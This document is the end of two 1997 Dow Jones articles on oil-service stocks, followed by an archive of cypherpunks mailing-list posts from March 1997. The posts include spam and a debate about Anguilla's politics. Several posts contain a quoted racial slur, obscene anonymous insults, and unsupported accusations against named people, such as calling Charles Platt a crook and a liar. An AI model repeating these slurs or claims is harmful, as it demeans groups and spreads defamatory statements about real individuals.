now at work. The eight rigs plying the Gulf of Mexico's deep waters are 
about 45 short of the number needed to drill all the blocks companies 
have under lease and are promising to develop. Twenty companies 
manufactured drill pipe 15 years ago. Today there are five, with far 
less total capacity. 
The oil-service industry's plate "is completely full," according to 
Federal Reserve Bank of Houston economist William Gilmer, adding that it 
will be difficult for producers to meet their ambitious exploration 
goals. Perhaps in a sign of things to come, Phillips Petroleum Co. said 
recently that it had to delay development of a major discovery in the 
North Sea for almost a year due to a lack of rigs. Adds Raymond Plank, 
chairman of oil and gas producer Apache Corp.: "We are extremely 
drilling-constrained." 
Assuming demand grows at the same rate as it has over the past five 
years, the International Energy Agency in Paris predicts the world will 
need at least another 1.8 million barrels a day of oil this year, a 
2.5% increase. That amount could be higher if developing-country demand 
continues its recent explosion. Figure into that equation the rate at 
which existing oil and gas fields are depleted, "and there's no 
conceivable way to achieve even 25% of this additional supply without 
increasing oil-service activities at a dramatic rate over the next 
few years," says Mr. Simmons. 
More Volatility Expected 
The bottom line: The lack of infrastructure means supply will be hard- 
pressed to keep up with demand, providing a strong floor under oil 
prices and a weight on the economy. The lack of yesteryear's large 
supply cushion also means oil prices will be more volatile, just as 
they proved to be last year when gasoline and heating-oil prices soared. 
"All you need is a refinery accident or a little war and you'll have 
a major price blowout," says CERA managing director Joseph Stanislaw. 
Conversely, demand has been so healthy that when world output rose 
by 500,000 barrels a day last July alone, there was hardly a price 
ripple. 
As rosy as things might appear, though, this boom isn't convulsing 
the nation like that of the early 1980s. Executives aren't talking 
about $100-a-barrel oil at Houston's Petroleum Club. Gone are the 
bumper stickers urging Texans to "Drive 75, Freeze a Yankee Alive." 
And because improved technology is doing a lot of the work of 
roughnecks these days, Northern job seekers aren't rushing south 
for a piece of the action. 
Still, the boom is having positive ripple effects in U.S. energy 
centers such as Houston. Building permits in Houston surged 19% 
last year, and local employment growth outstripped that of Texas 
as a whole for the first time since 1990. Houston's tony Ritz- 
Carlton will in April open its lobby dining room, popular with 
power breakfasters, to dinner at the request of business travelers. 
Local luxury-auto dealership Momentum BMW booked a 20% increase 
in sales last year, according to sales manager Louis Weibel. 
Employment and wages in the energy sector are also on an upswing. 
Baker Hughes Inc. of Houston will hire 500 new field workers and 
250 engineers this year, increases of 20% and 33% respectively, 
and is having a tough time finding them. Oil driller Rowan Cos. 
had to boost wages 10% last year to keep its workers from 
leaving. Rowan Chairman C.R. Palmer says he's considering another 
5% to 10% pay increase this year. 
Such signs embolden even the most hardened veterans of the 1980s 
bust to tempt fate, it seems. "Here goes," says Mr. Palmer, 
clearing his throat. "Boom. There's just no other word for it." 

I give full credit to: 

Copyright (c) 1997 Dow Jones & Company, Inc. All Rights Reserved. 

-------------------------------------------------------------------- 

Dow Jones News Service-March 4, 1997 
Oil-Services Stocks Rally As Optimism Returns 

By Loren Fox 
NEW YORK (Dow Jones)--Stocks of oil-service and drilling companies 
fairly gushed Tuesday, a sign that the recent selloff in the sector 
may be ending. 
Optimism returned to the market regarding companies that rent rigs, 
make drill bits, generate geological information and provide other 
oil-field services and equipment. 
Oil drillers were the best performing industry group Tuesday, as 
the Dow Jones index of six drillers rose 9.9% on a market 
capitalization weighted basis. Among the leaders were Global 
Marine Inc. (GLM), up 2 1/4, or 12.7%, at 20; and Ensco International 
Inc. (ESV), up 5, or 12%, at 46 1/2. 
Not far behind was the Dow Jones index of five oil-field equipment 
companies, which rose 4.5%. The leaders included Schlumberger Ltd. 
(SLB), the bellwether of the group, which was up 4 3/4, or 4.8%, at 
103 1/4; and Halliburton Co. (HAL), up 3 1/4, or 5.3%, at 65. 
One spark for Tuesday's rally was the optimism ahead of Wednesday's 
sale of exploration leases in the Gulf of Mexico. A record 1,790 
bids were tendered to the U.S. Department of the Interior for 
1,032 tracts. To many, that's a signal that oil companies aren't 
about to slow the pace of spending on exploration and development. 
''There aren't enough rigs to go around,'' said Robert Trace, an 
analyst at Hanifen Imhoff Inc. 
Another factor setting the table for Tuesday's feast was the fact 
that the stocks had fallen so far in recent weeks. After rising 
in January, investors took profits as good quarterly earnings 
reports rolled in. However, short-selling and momentum investors 
pulled the sector down further in February. At the same time, 
oil prices fell roughly 20% to $20.50 a barrel, which turned 
the mood overwhelmingly bearish. 
Before Tuesday's rebound, Schlumberger had fallen 15% from its 
January high. Diamond Offshore Drilling Inc. 
(DO), the largest deep-water rig specialist, had fallen 25% 
from its January high. Tuesday, Diamond rose 5 3/8, 
''The typical oil services stock fell 25% to 30%, which is 
a healthy correction,'' said Kenneth Miller, executive vice p 
resident at Cambridge Investments Ltd., a money management firm. 
''There was so much negativism coming out of the street, it's a 
sign that the group hit bottom.'' 
''It was absolutely overdone,'' said Yves Siegel, an analyst at 
Smith Barney Inc. 
In recent days, some analysts started touting the stocks as 
buying opportunities. 
''The stocks were selling at very low multiples,'' said Miller. 
Even fans of oilfield stocks feel the nosedive they took in 
recent weeks began as a logical correction. Many industry 
observers admitted stock prices got ahead of themselves in 
January. Good news from 1998 - let alone from 1997 - was already 
factored into the stocks. 
True, earnings are expected to continue rising for the group. 
For 1997, Schlumberger's earnings are expected to be 26% higher 
than last year at $4.38 a share. For Global Marine, 1997 
earnings are expected to soar 111% to $1.33, then rise another 
39% in 1998 to $1.85. 
But while the stocks rose in January in advance of earnings 
reports, as they had in the last few quarters, this past quarter 
the sector rose faster. The key driver was momentum players, 
who buy stocks that are already rising. 
One fund manager said a classic example of momentum buying was 
Cliffs Drilling Co. (CLDR), a second-tier drilling contractor 
whose stock rocketed to a high of 79 1/2 in January, or a 
whopping 38 times its projected 1997 earnings. 
Cliffs fell to 42 3/8 Monday, and rose 9.5% to close at 46 
Tuesday - 22 times its projected 1997 earnings of $2.08. Many 
analysts said the group has returned to more realistic 
multiples. Smith Barney's Siegel said drillers should trade at 
12 to 15 times earnings. 
''I don't necessarily think of these as growth companies,'' 
said Hanifen's Trace, because in the end, they are based on 
the cycles of spending from oil companies. But Trace feels 
20 times earnings is reasonable given drillers' growth in the 
next few years. 
One result of January's expansion of earnings multiples, however, 
was to make the recent selloff a more dramatic decline. The 
recent pullback in the stocks was very much influenced by the 
simultaneous drop in oil and gas prices, which exert a strong 
psychological effect on the sector. But observers emphasized 
that the drop in oil prices shouldn't hurt the earnings of 
oil-services companies. 
It is a connection that isn't well understood, analysts contended. 
The fact that crude oil fell below $21 a barrel doesn't mean that 
oil companies started to cancel rig contracts or shut wells. Most 
oil companies, having been burned by the collapse in oil prices 
in the mid-1980s, budget their oil and gas projects so they make 
money if oil sells at $17 or $18 a barrel. As a result, current 
oil and gas prices are not a danger to oil services companies. 
''It's actually better for the oil services stocks for oil to 
trade between $18 to $22 a barrel,'' said Siegel, because that's 
a high enough price to encourage drilling while not so high that 
it hurts demand. 
Many analysts believe the oil-services industry is in the early 
stages of a multi-year upturn. That's why they see the recent 
deflation of oil services stocks as buying opportunities. ''It's 
a long-term story,'' Siegel said. 

Full credit to: 

Copyright (c) 1996 Dow Jones & Company, Inc. All Rights Reserved. 








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "TeleCommunications Plus.." <David@telecom-plus.com>
Date: Sat, 8 Mar 1997 08:45:40 -0800 (PST)
Subject: Guaranteed 10.9 cpm L.D. Rate- To All 50 States- 24 hrs- No Fees- NONE!
Message-ID: <199703081645.IAA02294@toad.com>
MIME-Version: 1.0
Content-Type: text/plain







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 8 Mar 1997 09:10:26 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Master of fellatio
In-Reply-To: <Pine.A41.3.95.970308081038.66302B-100000@fn2.freenet.edmonton.ab.ca>
Message-ID: <XF093D148w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


> > > I see you write from England are you a nigger or paki or just a white
> > > pervert.

Paul and others,

I have a proposal: let's not waste our time responding to provocateurs
like Charles Platt and associated scum. Charles Platt is a crook, a liar,
and a crackpot. He nearly got arrested recently when he showed up drunk
at a public lecture in NYC and started shouting obscenities. He used to
spam Usenet with ads for his "cryocare" business (freezing dead bodies
so they can be revived later). Now that he's been hounded out of
sci.cryo by his former business partners and other people whom Platt
cheated out of tens of thousands of dollars, this self-proclaimed
"journalist" is trying to infest cypherpunks with his lies and spam.
Perhaps he hopes to make a few bucks peddling snake oil psudo-crypto
software for money launderers, in co-operation with Sameer Parekh. :-)

Let's just ignore him. Shunning was pretty effective on the SternFUD.
Cowardly sociopaths like Charles Platt feed on attention and are delighted
by our outrage. If he doesn't get any, he'll go away and look for
another forum to bother, like Declan's censored "anti-censorship" list.

We have better things to do (both crypto and not crypto related) than
responding to lying scum like Charles Platt.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Vincent Cate <vince@offshore.com.ai>
Date: Sat, 8 Mar 1997 10:35:12 -0800 (PST)
To: cypherpunks@toad.com
Subject: Tim in Anguilla vs. USA
In-Reply-To: <Pine.LNX.3.95.970308082349.28404A-100000@online.offshore.com.ai>
Message-ID: <Pine.LNX.3.95.970308123954.29605A-100000@online.offshore.com.ai>
MIME-Version: 1.0
Content-Type: text/plain



The comparison of Tim as a US citizen ranting in California to Tim as a
guest in Anguilla ranting in Anguilla is not really fair. 

If Tim were a French citizen in the USA, and ranting about crypto-anarchy
and destabilizing governments on street corners (or communism or
something), he *might not* get his visa/work-permit renewed in the USA.
Tim is very safe in the USA partly because he does not have to get a visa
renewed.

If Tim were an Anguillian citizen I think it would be totally safe for him
to rant in Anguilla either on the net or in person, about crypto-anarchy
and destabilizing of governments or whatever.  It would have no impact on
getting a work-permit or visa renewed because he would not be doing that. 

Anguilla is not so very different in all this than the USA.  The US
decides not to renew some visa on a totally different level of evidence
than that used to lock someone up in jail.  And in Anguilla freedom of
speech is officially guaranteed in the constitution but, like the US,
pornography, is somewhat controlled.  But I don't believe there is any
danger of an Anguillian citizen getting troubled by the government for
ranting. 

The big difference between Anguilla and the USA is that banks, by law, can
not give out information to anyone, and there is no sales tax or income
tax, and no need to report sales or income amounts to anyone.  In the USA
banks have to give anything the government wants to the government. The
level of privacy in Anguilla is far higher than the USA.  I know I am
repeating this, but... 

   --  Vince





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bovine Remailer <haystack@holy.cow.net>
Date: Sat, 8 Mar 1997 11:52:59 -0800 (PST)
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <199703081951.OAA02239@holy.cow.net>
MIME-Version: 1.0
Content-Type: text/plain


Timmy Maypole is widely recognized on the net, because of his frequent 
vitriolic postings, as someone/thing ready to cut off his own penis to 
spite the testicles, although his friends recognize him better from 
the rear.

       ^. .^
       ( @ )
         c





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
Date: Sat, 8 Mar 1997 14:43:17 -0800 (PST)
To: Bovine Remailer <haystack@holy.cow.net>
Subject: Re: your mail
In-Reply-To: <199703081951.OAA02239@holy.cow.net>
Message-ID: <Pine.A41.3.95.970308154041.22400A-100000@fn2.freenet.edmonton.ab.ca>
MIME-Version: 1.0
Content-Type: text/plain


Vulis the list you need is sick pervert.


        http://www.freenet.edmonton.ab.ca/~real/index.html

                                          : real@freenet.edmonton.ab.ca
Graham-John Bullers                  email
                                          : ab756@freenet.toronto.on.ca


On Sat, 8 Mar 1997, Bovine Remailer wrote:

> Timmy Maypole is widely recognized on the net, because of his frequent 
> vitriolic postings, as someone/thing ready to cut off his own penis to 
> spite the testicles, although his friends recognize him better from 
> the rear.
> 
>        ^. .^
>        ( @ )
>          c
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kevin <lp33cd@hotmail.com>
Date: Sat, 8 Mar 1997 04:03:19 -0800 (PST)
Subject: Request for Permission
Message-ID: <199703081149.LAA27994@uk.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


May I have your permission to send you some FREE information on an outstanding MLM business Opportunity?

* ONE time $50 fee
* MUSIC goes MLM


******************************************************* 
Reply with "CDX" in the subject if you don't mind.
Thanks.
*******************************************************





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: caseym@genesisnetwork.net (casey moss)
Date: Wed, 9 Apr 1997 23:51:08 -0700 (PDT)
To: chris@genesisnetwork.net
Subject: Premium Webhosting Services
Message-ID: <3.0.1.32.19970308223636.00679cb0@webb.genesisnetwork.net>
MIME-Version: 1.0
Content-Type: text/plain


Thanks for requesting the GENESIS Network website hosting information
guide, to make this short so we do not take up your valuable time, please
stop in and visit us at ...

http://www.genesisnetwork.net  " look for the red chili pepers "

The rest is easy.







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Charles Platt <cp@panix.com>
Date: Sat, 8 Mar 1997 20:19:58 -0800 (PST)
To: Vincent Cate <vince@offshore.com.ai>
Subject: Re: Anguilla is not Marxist!
In-Reply-To: <Pine.LNX.3.95.970308233855.31226H-100000@online.offshore.com.ai>
Message-ID: <Pine.SUN.3.91.970308231018.27226E-100000@panix.com>
MIME-Version: 1.0
Content-Type: text/plain



Now, Vince, calm down! Contrary to your subject line, I never remotely
suggested that Marxism runs rampant in sunny Anguilla. I merely observed
that your Minister of Finance did choose an educational institution
notorious for Marxist ideology. The Minister may have undergone a radical
change in his ideas since then (AS I SAID IN THE TEXT THAT I POSTED TO THE
GROUP!). I did not blame him for the phone monopoly, merely pointed out
that government in Anguilla does not seem much into the idea of
competitive bids, generally speaking. You can hardly object to this
statement, since you said as much to me yourself! 

Incidentally, the same text was circulated to Lynwood Bell of Hansa Bank, 
who made detailed corrections of some of my statements about his 
institution, but where the Minister of Finance was concerned, made only a 
wry, amused comment.

On Sun, 9 Mar 1997, Vincent Cate wrote:

> Hold it right there!  There is no Marxism or socialism in Anguilla.  We
> don't even have income tax!  They are not busy redistributing wealth here. 
> They let you keep your own wealth in Anguilla.  Get a clue!

My text was not intended to imply anything of this kind.

> The current minister of finance is not at all responsible for the Cable
> and Wireless monopoly.  It was the previous government that set them up
> and the current government is not happy about it. 

Well, this is more relevant--but what do you mean, "not happy"? Is there 
a policy statement, a public remark I can quote?

> Please.  Be reasonable.

Sorry, but I think your reaction is a bit unreasonable. I'll certainly
rephrase my text if you sincerely feel it suggests that Marxism thrives in
Anguilla. But I thought the context made it clear that the country is just
a sleepy little British colony with zero corporate/personal taxes and some
bad habits left over from the Brits--such as a government-owned radio
station and a horrible phone system. 

--Charles





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Vincent Cate <vince@offshore.com.ai>
Date: Sat, 8 Mar 1997 20:08:32 -0800 (PST)
To: cypherpunks@toad.com
Subject: Anguilla is not Marxist!
In-Reply-To: <Pine.LNX.3.95.970308195223.31293B-100000@online.offshore.com.ai>
Message-ID: <Pine.LNX.3.95.970308233855.31226H-100000@online.offshore.com.ai>
MIME-Version: 1.0
Content-Type: text/plain



Charles:
> The Minister of Finance in Anguilla is a nice guy, but
> he did his graduate degree in economics at The New School for Social
> Research here in New York City, which just happens to be attached to the
> computer lab where I teach; and I know for a fact that the graduate
> studies division is the last bastion of Marxist economic theory in
> America. 
> [...]  Of course,
> the Anguillan Minister of Finance may have undergone a subsequent
> philosophical conversion to the free market (just like Deng, right?) but
> his country shows few signs of libertarian ideology; e.g. they have a
> state-owned radio station, they haven't quite embraced the idea of
> competitive bids for government projects, and they still have a
> monopolistic phone service that has disabled all the pound and star keys
> on island phones so that people can't save money using American call-back
> services. 

Hold it right there!  There is no Marxism or socialism in Anguilla.  We
don't even have income tax!  They are not busy redistributing wealth here. 
They let you keep your own wealth in Anguilla.  Get a clue!

The current minister of finance is not at all responsible for the Cable
and Wireless monopoly.  It was the previous government that set them up
and the current government is not happy about it. 

It is absurd to assume that since 20 years ago our Minister of Finance
went to some school you are attached to, and you have noticed Marxists
there, that he is anything close to a Marxist or to assume anything at all
about Anguilla.  After all, you are currently near this school, so by your
logic you must have caught the infection too.  Yet you claim to be a
Libertarian.

The USA had a monopoly phone company not that long ago.  You might say
that Anguilla is behind the US in terms of telecom policy.  But to yell
communism is totally nuts.

Please.  Be reasonable.

    --  Vince
      





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Charles Platt <cp@panix.com>
Date: Sat, 8 Mar 1997 21:30:51 -0800 (PST)
To: Vincent Cate <vince@offshore.com.ai>
Subject: Re: Anguilla is not Marxist!
In-Reply-To: <Pine.LNX.3.95.970309003132.31226J-100000@online.offshore.com.ai>
Message-ID: <Pine.SUN.3.91.970309002437.6294A-100000@panix.com>
MIME-Version: 1.0
Content-Type: text/plain


On Sun, 9 Mar 1997, Vincent Cate wrote:

> You still assume that he was, at least at one time, into that and only if
> he had changed could he now be normal.  This is so bogus.  What makes you
> think he needed to undergo radical change?

Well, I suppose it's possible that he didn't know about the politics of 
the university till he actually got there ... but highly unlikely, 
because it is quite notorious. And he did stay there. 

> Ok. I don't remember talking about competitive bids.  Not sure what
> Anguilla would be taking bids for really. 

Asphalt for roads, as I recall.

> It just seems bazar to conclude that our Minister of Finance is at best a
> reformed Marxist without any more evidence than a name of a school he went
> to and a monopoly phone company setup by the previous government. 

Fair enough (I guess). It's always enlightening to discover how one's 
writing is read by others. This is why I ALWAYS submit my text for review 
before sending it to the magazine.

> There are also 2 local private radio stations, 2 local private TV
> stations, and a private cable company with 40 channels (local adds but
> little local programming). If you only talk about the government owned
> radio station you make it seem like this is government is controlling the
> media or something.  It is not giving an accurate impression. 

OK. I got my impression from the guy who runs it. Perhaps naturally, he 
emphasized it more than his competition.

> The UK and USA also have government owned stations.  So what?  As long as
> private ones are not supressed, I don't have any trouble with a government
> owning its own radio station (and I am a devout Libertarian). 

I do tend to be a little bit suspicious of any state-owned broadcasting 
system (including PBS).

But this is way off topic for cypherpunks. Maybe we should continue in 
email if we need to continue.

I do appreciate your perspective.

--CP




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Vincent Cate <vince@offshore.com.ai>
Date: Sat, 8 Mar 1997 20:46:41 -0800 (PST)
To: Charles Platt <cp@panix.com>
Subject: Re: Anguilla is not Marxist!
In-Reply-To: <Pine.SUN.3.91.970308231018.27226E-100000@panix.com>
Message-ID: <Pine.LNX.3.95.970309003132.31226J-100000@online.offshore.com.ai>
MIME-Version: 1.0
Content-Type: text/plain



> I merely observed
> that your Minister of Finance did choose an educational institution
> notorious for Marxist ideology. The Minister may have undergone a radical
> change in his ideas since then (AS I SAID IN THE TEXT THAT I POSTED TO THE
> GROUP!).

You still assume that he was, at least at one time, into that and only if
he had changed could he now be normal.  This is so bogus.  What makes you
think he needed to undergo radical change?

> I did not blame him for the phone monopoly, merely pointed out
> that government in Anguilla does not seem much into the idea of
> competitive bids, generally speaking. You can hardly object to this
> statement, since you said as much to me yourself! 

Ok. I don't remember talking about competitive bids.  Not sure what
Anguilla would be taking bids for really. 

> > The current minister of finance is not at all responsible for the Cable
> > and Wireless monopoly.  It was the previous government that set them up
> > and the current government is not happy about it. 
> 
> Well, this is more relevant--but what do you mean, "not happy"? Is there 
> a policy statement, a public remark I can quote?

I don't have one, but I will see if I can get/find one.  

> Sorry, but I think your reaction is a bit unreasonable. I'll certainly
> rephrase my text if you sincerely feel it suggests that Marxism thrives in
> Anguilla. 

It just seems bazar to conclude that our Minister of Finance is at best a
reformed Marxist without any more evidence than a name of a school he went
to and a monopoly phone company setup by the previous government. 

> But I thought the context made it clear that the country is just
> a sleepy little British colony with zero corporate/personal taxes and some
> bad habits left over from the Brits--such as a government-owned radio
> station and a horrible phone system. 

There are also 2 local private radio stations, 2 local private TV
stations, and a private cable company with 40 channels (local adds but
little local programming). If you only talk about the government owned
radio station you make it seem like this is government is controlling the
media or something.  It is not giving an accurate impression. 

The UK and USA also have government owned stations.  So what?  As long as
private ones are not supressed, I don't have any trouble with a government
owning its own radio station (and I am a devout Libertarian). 

   -- Vince






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Vincent Cate <vince@offshore.com.ai>
Date: Sat, 8 Mar 1997 21:14:29 -0800 (PST)
To: Charles Platt <cp@panix.com>
Subject: Re: Anguilla
In-Reply-To: <Pine.LNX.3.95.970308195223.31293B-100000@online.offshore.com.ai>
Message-ID: <Pine.LNX.3.95.970309011607.32295B-100000@online.offshore.com.ai>
MIME-Version: 1.0
Content-Type: text/plain



Charles:
> his country shows few signs of libertarian ideology; e.g. they have a
> state-owned radio station, they haven't quite embraced the idea of
> competitive bids for government projects, and they still have a
> monopolistic phone service that has disabled all the pound and star keys
> on island phones so that people can't save money using American call-back
> services. 

I am going to have to check tomorrow and see about thse star and
pound keys.  It would amuse me if we had seen the birth of an urban
legend.

                          Anguilla         vs       USA
1) Income taxes           Libertarian             Socialist
2) Sales Taxes            Libertarian             Socialist
3) State owned radio      Yes                     Yes
4) Competative bids       Sometimes               Sometimes
5) Pound keys that work   ?  Will check           Yes
6) Reporting of finances  Libertarian             Totalitarian
7) Free Speech            Yes, sort of            Yes, sort of

  -- Vince





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TOTO <toto@sk.sympatico.ca>
Date: Sun, 9 Mar 1997 00:08:35 -0800 (PST)
To: cypherpunks@toad.com
Subject: MicroSoft Schill Blanc Weber EXPOSED!!!
In-Reply-To: <199703080803.IAA00271@server.test.net>
Message-ID: <33226FE1.3A50@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Adam Back wrote:
>
> Blanc Weber <blancw@microsoft.com> writes:
> > Yikes - don't know how this happened, but it was I sent this email, not
> > Uni, who is also not @sirius.infonex.com.

> I suspect it's something to do with this (Microsoft mailers were the
> bane of many mailing lists a while back):

> > X-Mailer:  Microsoft Exchange Server Internet Mail Connector Version 4.0.994.63

> No offense, but Microsoft software is not my idea of quality -- it
> seems Gates takes the attitude that he's got the market in a
> strangle-hold so he can sell any crap and get away with it.

  Yes, but he's right.

> I saw TV interview with him in which he claimed that "no one _ever_
> upgraded to a new version of his software to get a bug fix" -- instead
> he claimed they upgraded to get "new features".  He appeared serious.

  There are reports that his physicians have desperately pleaded
with him to seek treatment for these delusions but he fears that
if he does so, he may suffer reprecussions from facing reality.

> The microsoft attitude to standards is annoying also -- what do they care
> about rfc822?  "The good thing about microsoft is that we set the standards,
> and we can change them when we want to".  quote from a microsoft
> representative at a standards meeting.

  IBM had the same attitude for years, and were quite arrogant
about it when they announced the computer of our future, the PS/2.

  "Napoleon was Emperor,
  "But still, he met his Waterloo.
  "IBM was King, but still,
  "No one bought their PS/2."

  "Now, stepping up to the plate...
  "A 'heavy hitter', named Billy Gates.
  "Who just can't hit the 'long ball', hence,
  "He has the umpires move the fence."

  "Billy G. is not a fool,
  "He's handsome, witty, smart, and rich.
  "His products may be weak, so what?
  "He owns the team, he gets to pitch."

  "Besides, someone, somewhere, sometime,
  "Will learn to make his products work.
  "While cussing out the big MS,
  "And calling Billy G. a jerk."

  "Then Billy G. will buy them out,
  "(Or steal a 'base', some would say)
  "One way or the other, though,
  "Billy G. will get his way."

  "MS does offer some support,
  "(Even though they have to bill you).
  "Then say, 'We could tell you how it works.
  "'But then, of course, we'd have to kill you.'"

  "So here I sit, broken hearted...
  "Bought Win95, the nightmare started.
  "Those who write on shithouse walls...
  "Know MS has them by the balls."

  "For a good time, call..."

    [ MODERATOR'S NOTE: ]

  The obvious degeneration of this slanderous poem into a babbling
morass of shithouse wit comes as no surprise to those who righteously
supported the attempt to protect the cypherpunks list from exactly this
type of off-topic trash.
  I am certain that the other troublemakers on the list will be
spreading rumors and lies concerning Toto's sudden disappearance,
which I am sure will be noticed shortly.

  To set the record straight concerning the rumors that are bound
to be surfacing, let me state that it is a known fact that the
lunatic asylums in Saskatchewan often use vehicles bearing Washington
State license plates.
  The witnesses who claim that the white-suited asylum employees had
MicroSoft emblems on their uniforms were obviously confused by the
similarities to the 'MindSoft' emblem of the Sanitarium (which was
legally formed shortly after Toto's soon-to-be discovered mysterious
disappearance).

  Rumors that Toto was subsequently murdered because he had actually
gotten Win95 to work, and thus 'knew too much', are obviously tripe,
since it is a well-known fact that nobody can get it to work properly.
  The lies that will be attempting to connect Toto's disappearance
to tonight's MicroSoft/C2Net party are also false, since it has been
in the planning for months. It's just that we (I mean...'they') forgot
to send out the invitations earlier, so it only appears to be a hastily
organized event.

  As to the hogwash spouted by Dale Thorn, and others, concerning some
purported behind-the-scenes moderation/censorship of the cypherpunks
list--this is patent nonsense.
  This 'Moderator's Note' that you are reading now is an obvious
forgery--part of some sick, demented plan to continue to cast slander
and libel upon MicroSoft and C2Net. It is a mere continuation of the
shallow attempts of slimeballs and perverts to cast aspersions on
saints like Bill Gates, John Gilmore, Sandy Sandfort, Greg Broiles,
and my employer, Sammy, who only want what is best for everyone.

[END OF 'ALLEGED' MODERATOR'S NOTE]

  "For a good time call...Toto"
  http://bureau42.base.org/public/xenix/xenbody.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Sun, 9 Mar 1997 02:21:50 -0800 (PST)
To: cypherpunks@toad.com
Subject: BBN
Message-ID: <199703091021.CAA17254@mailmasher.com>
MIME-Version: 1.0
Content-Type: text/plain


The arrival of warm weather is heralded by the pig shit (or whatever 
kind of shit Intel swines have for brains) getting soft in Tim C. 
Mayonnaise's mini-cranium and the resulting green slime seeping 
through his cocaine- and syphilis- damaged nose and onto his keyboard.

         o/    \  /    \ /     /      \o
        /#      ##o     #     o##      #\ Tim C. Mayonnaise
        / \    /  \    /o\    / |\    / \





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sun, 9 Mar 1997 05:53:44 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Anguilla is not Marxist!
In-Reply-To: <Pine.LNX.3.95.970309003132.31226J-100000@online.offshore.com.ai>
Message-ID: <k0Va4D163w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Vincent Cate <vince@offshore.com.ai> writes:

> > I merely observed
> > that your Minister of Finance did choose an educational institution
> > notorious for Marxist ideology. The Minister may have undergone a radical
> > change in his ideas since then (AS I SAID IN THE TEXT THAT I POSTED TO THE
> > GROUP!).
>
> You still assume that he was, at least at one time, into that and only if
> he had changed could he now be normal.  This is so bogus.  What makes you
> think he needed to undergo radical change?

Vince,

Charles Platt is notorious on the net as a drunkard and a pathological
liar.  Don't waste your time refuting his lies.

> > Sorry, but I think your reaction is a bit unreasonable. I'll certainly
> > rephrase my text if you sincerely feel it suggests that Marxism thrives in
> > Anguilla.
>
> It just seems bazar to conclude that our Minister of Finance is at best a
> reformed Marxist without any more evidence than a name of a school he went
> to and a monopoly phone company setup by the previous government.

Charles Platt works part-time for New School for Social Research (teaching
students Microsoft Office or something :-). Obviously he's very envious of
any former student who's more successful than he is, so he invents all sorts
of stupid lies about his employer.

> > But I thought the context made it clear that the country is just
> > a sleepy little British colony with zero corporate/personal taxes and some
> > bad habits left over from the Brits--such as a government-owned radio
> > station and a horrible phone system.
>
> There are also 2 local private radio stations, 2 local private TV
> stations, and a private cable company with 40 channels (local adds but
> little local programming). If you only talk about the government owned
> radio station you make it seem like this is government is controlling the
> media or something.  It is not giving an accurate impression.
>
> The UK and USA also have government owned stations.  So what?  As long as
> private ones are not supressed, I don't have any trouble with a government
> owning its own radio station (and I am a devout Libertarian).

This just proves again that Charles Platt is a pathological liar.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
Date: Sun, 9 Mar 1997 08:00:15 -0800 (PST)
To: Huge Cajones Remailer <nobody@huge.cajones.com>
Subject: Re: BBN
In-Reply-To: <199703091021.CAA17254@mailmasher.com>
Message-ID: <Pine.A41.3.95.970309085737.83832A-100000@fn2.freenet.edmonton.ab.ca>
MIME-Version: 1.0
Content-Type: text/plain



Vulis keep this off the list


        http://www.freenet.edmonton.ab.ca/~real/index.html

                                          : real@freenet.edmonton.ab.ca
Graham-John Bullers                  email
                                          : ab756@freenet.toronto.on.ca


On Sun, 9 Mar 1997, Huge Cajones Remailer wrote:

> The arrival of warm weather is heralded by the pig shit (or whatever 
> kind of shit Intel swines have for brains) getting soft in Tim C. 
> Mayonnaise's mini-cranium and the resulting green slime seeping 
> through his cocaine- and syphilis- damaged nose and onto his keyboard.
> 
>          o/    \  /    \ /     /      \o
>         /#      ##o     #     o##      #\ Tim C. Mayonnaise
>         / \    /  \    /o\    / |\    / \
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
Date: Sun, 9 Mar 1997 08:08:56 -0800 (PST)
To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Subject: Re: Anguilla is not Marxist!
In-Reply-To: <k0Va4D163w165w@bwalk.dm.com>
Message-ID: <Pine.A41.3.95.970309090541.83832D-100000@fn2.freenet.edmonton.ab.ca>
MIME-Version: 1.0
Content-Type: text/plain


> 
> This just proves again that Charles Platt is a pathological liar.


Vulis you are the pathological liar.


> 
> ---
> 
> Dr.Dimitri Vulis KOTM
> Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
